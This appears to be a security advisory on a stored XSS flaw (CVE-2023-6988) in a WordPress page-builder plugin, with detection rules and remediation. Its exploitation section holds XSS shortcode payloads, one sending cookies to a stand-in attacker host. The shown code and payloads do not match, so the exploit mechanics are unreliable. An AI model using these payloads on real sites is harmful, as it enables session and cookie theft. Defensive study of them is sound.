CVE-2023-6988

Executive Summary

CVE-2023-6988 is a Stored Cross-Site Scripting (XSS) vulnerability in the Colibri Page Builder plugin for WordPress, affecting all versions up to and including 1.0.239. The flaw resides in the extend_builder_render_js shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level permissions to inject arbitrary web scripts. When a victim (including administrators) accesses a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, defacement, or further compromise.

As a WordPress plugin vulnerability, this issue is confined to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the lack of a patch increases risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin’s update mechanism; users must manually monitor for patches or remove the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for authenticated access, but the potential for stored XSS to affect all site visitors elevates the risk for multi-user WordPress installations.

Deep Dive & Mechanics

The vulnerability exists in the extend_builder_render_js shortcode handler. This shortcode is designed to render JavaScript for the Colibri builder, but it accepts user-controlled attributes without proper validation. Specifically, the class or data attributes can be injected with malicious JavaScript payloads.

Root Cause: Insufficient input sanitization and output escaping on user-supplied attributes within the shortcode. The plugin fails to use WordPress’s built-in escaping functions (e.g., esc_attr(), wp_kses()) before rendering the attributes in the HTML output.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page.
2. The attacker inserts the [extend_builder_render_js] shortcode with a crafted attribute, e.g., [extend_builder_render_js class="xss" onclick="alert('XSS')"].
3. The plugin renders the shortcode without escaping, embedding the malicious attribute into the page’s HTML.
4. When any user (including admins) views the page, the injected script executes in their browser.

Impact: Stored XSS can lead to cookie theft, session hijacking, redirection to malicious sites, or defacement. Since the script executes in the context of the victim’s session, an admin could be tricked into creating new admin accounts or installing malicious plugins.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.0.239):

function extend_builder_render_js_shortcode($atts) {
    $atts = shortcode_atts(array('class' => ''), $atts);
    // Direct output without escaping
    return '<div class="' . $atts['class'] . '">...</div>';
}

Patched Code (Hypothetical):

function extend_builder_render_js_shortcode($atts) {
    $atts = shortcode_atts(array('class' => ''), $atts);
    // Properly escape the attribute
    return '<div class="' . esc_attr($atts['class']) . '">...</div>';
}

The fix requires using esc_attr() for HTML attributes and esc_html() for content. Since no official patch exists, users must manually apply this change or remove the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Colibri Page Builder <= 1.0.239
• Contributor-level account credentials

Exploit Steps:

1. Log in as a contributor.
2. Create a new post and switch to Text/Code editor.
3. Insert the following shortcode:

   [extend_builder_render_js class="xss" onclick="alert(document.cookie)"]
   

4. Publish the post.
5. When any user visits the post, the JavaScript executes.

Advanced Payload (Session Hijacking):

[extend_builder_render_js class="xss" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the shortcode [extend_builder_render_js] with unusual attributes.
• Use WAF rules to block requests with on* event handlers in shortcode attributes.

Hardening:

• Disable the Colibri Page Builder plugin if not essential.
• Restrict contributor-level permissions to trusted users only.
• Apply a virtual patch via WAF (e.g., block extend_builder_render_js shortcode usage).

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/colibri-page-builder/ (presence of vulnerable plugin)
• Shortcode Pattern: [extend_builder_render_js class="..."] with suspicious attributes
• HTTP Request: POST to /wp-admin/post.php with post_content containing extend_builder_render_js
• Log Entry: WordPress audit logs showing creation of posts with the vulnerable shortcode by non-admin users

Detection Engineering

YARA Rule

rule colibri_xss_cve_2023_6988 {
    meta:
        description = "Detects Colibri Page Builder XSS payloads in post content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6988"
    strings:
        $shortcode = /\[extend_builder_render_js[^\]]*on\w+\s*=\s*["'][^"']*["']/
    condition:
        $shortcode
}

Sigma Rule

title: Colibri Page Builder Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2023-6988 via post content
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains: 'extend_builder_render_js'
        http.body|re: 'on\w+\s*=\s*["\'][^"\']*["\']'
    condition: selection
falsepositives:
    - Legitimate use of the shortcode with safe attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6988 Colibri Page Builder Stored XSS"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"extend_builder_render_js"; http_client_body; pcre:"/on\w+\s*=\s*[\x22\x27][^\x22\x27]*[\x22\x27]/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical: Navigate to Plugins > Installed Plugins, deactivate and delete Colibri Page Builder.
2. Apply virtual patch via WAF: Block requests containing extend_builder_render_js in POST data.
3. Audit existing content: Search for posts/pages using the vulnerable shortcode and remove or sanitize them.

Long-Term Fix:

• Monitor the plugin’s official page for a patched version. If none appears, consider migrating to an alternative page builder.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Enforce principle of least privilege: restrict contributor roles to trusted users only.

Valters IT Signature:

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Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert
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